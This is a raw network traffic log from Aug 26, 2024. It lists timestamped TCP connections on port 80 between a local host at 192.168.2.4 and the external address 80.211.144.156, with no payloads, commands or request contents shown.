Aug 26, 2024 20:17:28.442800045 CEST	80	49800	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:28.477782011 CEST	80	49799	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:28.562057018 CEST	49801	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:28.567181110 CEST	80	49801	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:28.567298889 CEST	49801	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:28.567419052 CEST	49801	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:28.572268963 CEST	80	49801	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:28.790061951 CEST	49800	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:28.795169115 CEST	80	49800	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:28.795183897 CEST	80	49800	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:28.803144932 CEST	80	49799	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:28.803245068 CEST	49799	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:28.915043116 CEST	49801	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:28.920808077 CEST	80	49801	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:28.920820951 CEST	80	49801	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:28.920830965 CEST	80	49801	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:29.133126974 CEST	80	49800	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:29.180562973 CEST	49800	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:29.246543884 CEST	80	49801	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:29.266156912 CEST	80	49800	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:29.290004015 CEST	49801	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:29.321203947 CEST	49800	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:29.378592968 CEST	80	49801	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:29.430572987 CEST	49801	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:29.521445036 CEST	49800	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:29.521609068 CEST	49801	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:29.522212982 CEST	49802	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:29.526597977 CEST	80	49800	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:29.526700020 CEST	49800	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:29.527152061 CEST	80	49802	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:29.527216911 CEST	49802	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:29.527369976 CEST	49802	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:29.527466059 CEST	80	49801	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:29.527503967 CEST	49801	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:29.532174110 CEST	80	49802	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:29.884064913 CEST	49802	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:29.889195919 CEST	80	49802	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:29.889381886 CEST	80	49802	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:29.889410019 CEST	80	49802	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:30.203457117 CEST	80	49802	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:30.260082960 CEST	49802	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:30.404911995 CEST	80	49802	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:30.446160078 CEST	49802	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:30.665576935 CEST	49803	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:30.696264029 CEST	80	49803	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:30.699085951 CEST	49803	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:30.699182987 CEST	49803	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:30.704751968 CEST	80	49803	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:31.056149960 CEST	49803	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:31.061269999 CEST	80	49803	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:31.061288118 CEST	80	49803	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:31.061301947 CEST	80	49803	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:31.383872986 CEST	80	49803	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:31.430556059 CEST	49803	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:31.697200060 CEST	80	49803	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:31.743067980 CEST	49803	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:31.819210052 CEST	49803	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:31.819502115 CEST	49804	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:31.824354887 CEST	80	49803	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:31.824369907 CEST	80	49804	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:31.824419022 CEST	49803	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:31.824434042 CEST	49804	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:31.824565887 CEST	49804	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:31.829674959 CEST	80	49804	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:32.180923939 CEST	49804	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:32.185734034 CEST	80	49804	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:32.185789108 CEST	80	49804	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:32.185800076 CEST	80	49804	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:32.511904001 CEST	80	49804	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:32.555625916 CEST	49804	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:32.721808910 CEST	80	49804	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:32.774395943 CEST	49804	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:32.852060080 CEST	49804	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:32.852349043 CEST	49805	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:32.859323025 CEST	80	49805	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:32.859399080 CEST	49805	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:32.859519005 CEST	49805	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:32.861665964 CEST	80	49804	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:32.861735106 CEST	49804	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:32.864419937 CEST	80	49805	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:33.234217882 CEST	49805	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:33.239165068 CEST	80	49805	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:33.239227057 CEST	80	49805	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:33.239236116 CEST	80	49805	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:33.814311981 CEST	80	49805	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:33.868068933 CEST	49805	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:34.067725897 CEST	80	49805	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:34.067760944 CEST	80	49805	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:34.067807913 CEST	49805	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:34.069569111 CEST	80	49805	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:34.069607973 CEST	49805	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:34.192796946 CEST	49805	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:34.193464041 CEST	49806	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:34.197957039 CEST	80	49805	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:34.198036909 CEST	49805	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:34.198210955 CEST	80	49806	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:34.198277950 CEST	49806	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:34.198399067 CEST	49806	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:34.203542948 CEST	80	49806	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:34.276880980 CEST	49806	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:34.277334929 CEST	49807	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:34.282243013 CEST	80	49807	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:34.282358885 CEST	49807	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:34.282476902 CEST	49807	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:34.287380934 CEST	80	49807	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:34.329741001 CEST	80	49806	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:34.399127007 CEST	49808	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:34.404304981 CEST	80	49808	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:34.404402971 CEST	49808	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:34.404527903 CEST	49808	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:34.410222054 CEST	80	49808	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:34.633755922 CEST	49807	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:34.638670921 CEST	80	49807	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:34.638705969 CEST	80	49807	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:34.681011915 CEST	80	49806	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:34.681081057 CEST	49806	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:34.758733034 CEST	49808	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:34.763577938 CEST	80	49808	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:34.763623953 CEST	80	49808	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:34.763633013 CEST	80	49808	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:34.947287083 CEST	80	49807	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:34.993033886 CEST	49807	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:35.071495056 CEST	80	49808	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:35.085171938 CEST	80	49807	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:35.118033886 CEST	49808	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:35.133661985 CEST	49807	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:35.204271078 CEST	80	49808	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:35.258685112 CEST	49808	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:35.340234041 CEST	49807	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:35.340307951 CEST	49808	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:35.341001034 CEST	49809	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:35.345566034 CEST	80	49807	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:35.345741987 CEST	49807	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:35.345813990 CEST	80	49809	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:35.345887899 CEST	49809	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:35.346193075 CEST	49809	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:35.346196890 CEST	80	49808	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:35.346239090 CEST	49808	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:35.351087093 CEST	80	49809	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:35.705142975 CEST	49809	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:35.710052967 CEST	80	49809	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:35.710088015 CEST	80	49809	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:35.710098028 CEST	80	49809	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:36.046855927 CEST	80	49809	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:36.086793900 CEST	49809	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:36.180937052 CEST	80	49809	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:36.220762014 CEST	49809	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:36.404499054 CEST	49809	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:36.405479908 CEST	49810	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:36.409869909 CEST	80	49809	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:36.409986019 CEST	49809	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:36.410253048 CEST	80	49810	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:36.410315037 CEST	49810	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:36.410444021 CEST	49810	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:36.415616989 CEST	80	49810	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:36.759047985 CEST	49810	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:36.763943911 CEST	80	49810	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:36.763989925 CEST	80	49810	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:36.764000893 CEST	80	49810	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:37.085527897 CEST	80	49810	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:37.133953094 CEST	49810	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:37.214209080 CEST	80	49810	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:37.258662939 CEST	49810	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:37.333587885 CEST	49810	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:37.334398985 CEST	49811	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:37.342730045 CEST	80	49811	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:37.345120907 CEST	80	49810	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:37.345307112 CEST	49810	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:37.345310926 CEST	49811	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:37.345350027 CEST	49811	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:37.352113008 CEST	80	49811	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:37.696470976 CEST	49811	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:37.703156948 CEST	80	49811	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:37.703169107 CEST	80	49811	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:37.703176975 CEST	80	49811	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:38.025415897 CEST	80	49811	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:38.071168900 CEST	49811	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:38.154995918 CEST	80	49811	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:38.196158886 CEST	49811	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:38.269988060 CEST	49812	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:38.275131941 CEST	80	49812	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:38.275202990 CEST	49812	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:38.275286913 CEST	49812	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:38.281059027 CEST	80	49812	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:38.670624018 CEST	49812	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:38.676167011 CEST	80	49812	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:38.676290035 CEST	80	49812	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:38.676300049 CEST	80	49812	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:38.941024065 CEST	80	49812	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:38.993057013 CEST	49812	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:39.078053951 CEST	80	49812	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:39.118040085 CEST	49812	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:39.229727983 CEST	49812	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:39.230062962 CEST	49813	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:39.234994888 CEST	80	49812	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:39.235054016 CEST	49812	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:39.235188961 CEST	80	49813	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:39.235266924 CEST	49813	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:39.235373020 CEST	49813	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:39.240267992 CEST	80	49813	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:39.586891890 CEST	49813	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:39.591793060 CEST	80	49813	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:39.591804981 CEST	80	49813	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:39.591814041 CEST	80	49813	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:39.917052984 CEST	80	49813	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:39.961905956 CEST	49813	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:40.046350956 CEST	80	49813	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:40.087294102 CEST	49813	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:40.087964058 CEST	49814	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:40.092431068 CEST	80	49813	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:40.092510939 CEST	49813	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:40.092852116 CEST	80	49814	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:40.092916012 CEST	49814	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:40.093009949 CEST	49814	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:40.097790956 CEST	80	49814	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:40.160950899 CEST	49814	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:40.161492109 CEST	49815	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:40.166263103 CEST	80	49815	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:40.166337967 CEST	49815	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:40.166428089 CEST	49815	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:40.171305895 CEST	80	49815	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:40.209719896 CEST	80	49814	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:40.524533033 CEST	49815	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:40.529424906 CEST	80	49815	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:40.529436111 CEST	80	49815	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:40.529443979 CEST	80	49815	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:40.568526030 CEST	80	49814	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:40.568631887 CEST	49814	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:40.830935001 CEST	80	49815	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:40.883660078 CEST	49815	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:41.032706976 CEST	80	49815	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:41.086785078 CEST	49815	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:41.147789955 CEST	49815	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:41.148916006 CEST	49816	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:41.157056093 CEST	80	49816	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:41.157131910 CEST	49816	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:41.157243967 CEST	49816	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:41.159543037 CEST	80	49815	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:41.159612894 CEST	49815	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:41.162178993 CEST	80	49816	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:41.520045996 CEST	49816	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:41.526163101 CEST	80	49816	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:41.526187897 CEST	80	49816	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:41.526283979 CEST	80	49816	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:41.818733931 CEST	80	49816	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:41.868047953 CEST	49816	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:41.948697090 CEST	80	49816	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:41.993046045 CEST	49816	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:42.238858938 CEST	49816	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:42.242520094 CEST	49817	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:42.249187946 CEST	80	49817	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:42.249264956 CEST	49817	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:42.250149965 CEST	49817	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:42.251286983 CEST	80	49816	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:42.251329899 CEST	49816	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:42.255006075 CEST	80	49817	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:42.602504969 CEST	49817	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:42.607420921 CEST	80	49817	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:42.607434034 CEST	80	49817	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:42.608557940 CEST	80	49817	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:42.922514915 CEST	80	49817	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:42.977442980 CEST	49817	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:43.052552938 CEST	80	49817	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:43.102428913 CEST	49817	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:43.175954103 CEST	49817	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:43.176701069 CEST	49818	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:43.189243078 CEST	80	49817	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:43.189256907 CEST	80	49818	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:43.189312935 CEST	49817	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:43.189342022 CEST	49818	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:43.189445972 CEST	49818	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:43.194561958 CEST	80	49818	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:43.540049076 CEST	49818	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:43.545059919 CEST	80	49818	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:43.545078993 CEST	80	49818	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:43.545088053 CEST	80	49818	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:43.872859001 CEST	80	49818	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:43.914906025 CEST	49818	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:44.004534006 CEST	80	49818	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:44.055582047 CEST	49818	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:44.131783009 CEST	49819	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:44.136889935 CEST	80	49819	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:44.136966944 CEST	49819	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:44.137070894 CEST	49819	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:44.142220020 CEST	80	49819	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:44.528832912 CEST	49819	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:44.534298897 CEST	80	49819	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:44.534312010 CEST	80	49819	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:44.534472942 CEST	80	49819	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:44.799642086 CEST	80	49819	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:44.852436066 CEST	49819	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:44.931914091 CEST	80	49819	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:44.977467060 CEST	49819	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:45.051918030 CEST	49819	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:45.052603960 CEST	49820	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:45.075356007 CEST	80	49819	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:45.075371027 CEST	80	49820	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:45.075403929 CEST	49819	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:45.075449944 CEST	49820	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:45.075555086 CEST	49820	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:45.080986023 CEST	80	49820	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:45.165435076 CEST	49820	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:45.166124105 CEST	49821	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:45.170963049 CEST	80	49821	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:45.171021938 CEST	49821	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:45.171123981 CEST	49821	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:45.176457882 CEST	80	49821	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:45.213741064 CEST	80	49820	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:45.286524057 CEST	49822	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:45.291702032 CEST	80	49822	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:45.291786909 CEST	49822	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:45.291903019 CEST	49822	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:45.296686888 CEST	80	49822	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:45.524450064 CEST	49821	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:45.530646086 CEST	80	49821	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:45.530657053 CEST	80	49821	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:45.559279919 CEST	80	49820	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:45.559353113 CEST	49820	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:45.649477005 CEST	49822	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:45.654495001 CEST	80	49822	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:45.654506922 CEST	80	49822	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:45.655328989 CEST	80	49822	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:45.869498014 CEST	80	49821	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:45.914911985 CEST	49821	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:45.989027023 CEST	80	49822	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:46.002053022 CEST	80	49821	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:46.040015936 CEST	49822	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:46.055533886 CEST	49821	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:46.121989965 CEST	80	49822	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:46.165019989 CEST	49822	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:46.238759041 CEST	49821	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:46.239551067 CEST	49822	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:46.239557028 CEST	49823	80	192.168.2.4	80.211.144.156
